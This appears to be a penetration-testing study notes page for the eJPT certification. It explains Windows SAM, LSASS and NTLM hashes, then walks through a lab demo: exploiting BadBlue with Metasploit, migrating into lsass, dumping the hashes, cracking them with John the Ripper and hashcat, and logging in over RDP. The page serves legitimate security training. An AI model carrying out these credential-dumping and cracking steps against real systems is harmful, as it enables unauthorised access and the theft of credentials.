> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/dumping-and-cracking/dumping-and-cracking-windows-hashes.md).
# Dumping & Cracking Windows Hashes
### Dumping & Cracking NTLM Hashes
**Windows Password Hashes**
* The Windows OS stores hashed user account passwords locally in the SAM (Security Accounts Manager) database.
* Hashing is the process of converting a piece of data into another value. A hashing function or algorithm is used to generate the new value. The result of a hashing algorithm is known as a hash or hash value.
* Authentication and verification of user credentials is facilitated by the Local Security Authority (LSA).
* Windows versions up to Windows Server 2003 utilizes two different types of hashes:
* LM
* NTLM
* Windows disables LM hashing and utilizes NTLM hashing from Windows Vista onwards.
**SAM Database**
* SAM (Security Account Manger) is a database file that is responsible for managing user accounts and passwords on Windows. All user account passwords stored in the SAM database are hashed.
* The SAM database file cannot be copied while the operating system is running.
* The Windows NT kernel keeps the SAM database file locked and as a result, attackers typically utilize in-memory techniques and tools to dumps SAM hashes from the LSASS process.
* In modern versions of Windows, the SAM database is encrypted with a syskey.
*Note: Elevated/Administrator privileges are required in order to access and interact with the LSASS process.*
**NTLM (NTHash)**
* NTLM is a collection of authentication protocols that are utilized in Windows to facilitate authentication between computers. The authentication process involves using a valid username and password to authenticate successfully.
* From Windows Vista onwards, Windows disables LM hashing and utilizes NTLM hashing.
* When a user account is created, it is encrypted using the MD4 hashing algorithm, while the original password is disposed of.
* NTLM improves upon LM in the following ways:
* Does not split the hash in to two chunks.
* Case sensitive
* Allows the use of symbols and unicode characters.
**Dumping & Cracking NTLM Hashes**
* We can dump Windows password hashes by leveraging various utilities like:
* The inbuilt meterpreter "hashdump" command
* Mimikatz
* After we have dumped the hashes, we can crack them through the use of the following utilities:
* John The Ripper
* Hashcat
DEMO
```
nmap -sV
```
* Exploit Badblue\_passthru 2.72
```
>>>> sysinfo
>>>> getuid
>>>> getprivs
>>>> pgrep lsass
>>>> migrate 708
>>>> hashdump
>>>> shell
cmd> net user
```
* paste those hashes in a file using text editor
```
john --list=formats | grep nt
```
```
john --format=NT hashes.txt
```
> bob:: password1
>
> administrator :: password
```
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
```
hashcat --help
hash -a3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
```
```
nmap -p 3389
```
```
xfreerdp /u:Administrator /p:Password /v:
```
***